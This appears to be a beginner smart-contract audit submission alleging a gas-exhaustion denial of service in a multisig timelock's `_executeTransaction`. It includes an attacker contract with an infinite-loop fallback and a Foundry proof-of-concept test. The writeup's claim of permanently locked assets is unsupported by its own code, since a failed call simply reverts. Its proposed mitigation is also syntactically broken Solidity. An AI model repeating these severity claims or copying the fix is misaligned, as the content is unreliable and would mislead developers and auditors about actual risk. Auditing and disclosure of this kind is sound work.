MultiSig Timelock

First Flight #55
Beginner FriendlyWallet
100 EXP
Submission Details
Impact: high
Likelihood: high

Uncontrolled external call vulnerability leading to uncontrolled gas consumption

Author Revealed upon completion

Root + Impact

Description

  • External calls without gas limits can allow malicious contracts to launch gas consumption attacks, permanently blocking multi-signature systems.

function _executeTransaction(uint256 txnId) internal {
Transaction storage txn = s_transactions[txnId];
if (txn.confirmations < REQUIRED_CONFIRMATIONS) {
revert MultiSigTimelock__InsufficientConfirmations(REQUIRED_CONFIRMATIONS, txn.confirmations);
}
uint256 requiredDelay = _getTimelockDelay(txn.value);
uint256 executionTime = txn.proposedAt + requiredDelay;
if (block.timestamp < executionTime) {
revert MultiSigTimelock__TimelockHasNotExpired(executionTime);
}
if (txn.value > address(this).balance) {
revert MultiSigTimelock__InsufficientBalance(address(this).balance);
}
txn.executed = true;
(bool success,) = payable(txn.to).call{value: txn.value}(txn.data);// No limit on gas consumption
if (!success) {
revert MultiSigTimelock__ExecutionFailed();
}
emit TransactionExecuted(txnId, txn.to, txn.value);
}

Risk

Likelihood:

  • The attacking contract will consume all gas in the fallback phase, causing the executor to freeze and the transaction to never be completed.

Impact:

  • The target consumes gas indefinitely without returning; contract execution cannot proceed or revert (gas exhausted).

    The result is:

    Contract assets are permanently locked – a complete DoS attack

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
contract EvilReceiver {
// Malicious Receiving Contract by Attacker
fallback() external payable {
// Infinitely consuming gas
while (true) {}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../contracts/MultiSigTimelock.sol";
import "../contracts/EvilReceiver.sol";
contract MultiSigTimelockTest is Test {
MultiSigTimelock timelock;
EvilReceiver evil;
address owner = address(0xA11CE);
address signer1 = address(0xBEEF);
address signer2 = address(0xCAFE);
address signer3 = address(0xF00D);
function setUp() public {
vm.deal(owner, 100 ether);
vm.startPrank(owner);
timelock = new MultiSigTimelock();
payable(address(timelock)).transfer(10 ether);
timelock.grantSigningRole(signer1);
timelock.grantSigningRole(signer2);
timelock.grantSigningRole(signer3);
vm.stopPrank();
evil = new EvilReceiver();
}
function testEvilReceiver_DoS() public {
vm.startPrank(owner);
// Submitting a transaction: Invoking a malicious contract
uint256 txId = timelock.proposeTransaction(address(evil), 1 ether, "");
vm.stopPrank();
vm.startPrank(signer1);
timelock.confirmTransaction(txId);
vm.stopPrank();
vm.startPrank(signer2);
timelock.confirmTransaction(txId);
vm.stopPrank();
vm.startPrank(signer3);
timelock.confirmTransaction(txId);
vm.stopPrank();
vm.warp(block.timestamp + 1 days);
vm.startPrank(signer1);
emit log("Attempting to execute a malicious transaction will consume gas indefinitely...");
// There will be no revert here, only that all the gas is exhausted.
try timelock.executeTransaction(txId) {
fail("It should be stuck or the gas is used up.");
} catch {
emit log("Test passed: The call is permanently stuck, and the transaction cannot be executed.");
}
vm.stopPrank();
}
}

Recommended Mitigation

(uint256 SAFE_GAS_LIMIT) = 500_000;
(bool success,) = payable(txn.to).call{value: txn.value, gas: SAFE_GAS_LIMIT}(txn.data)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!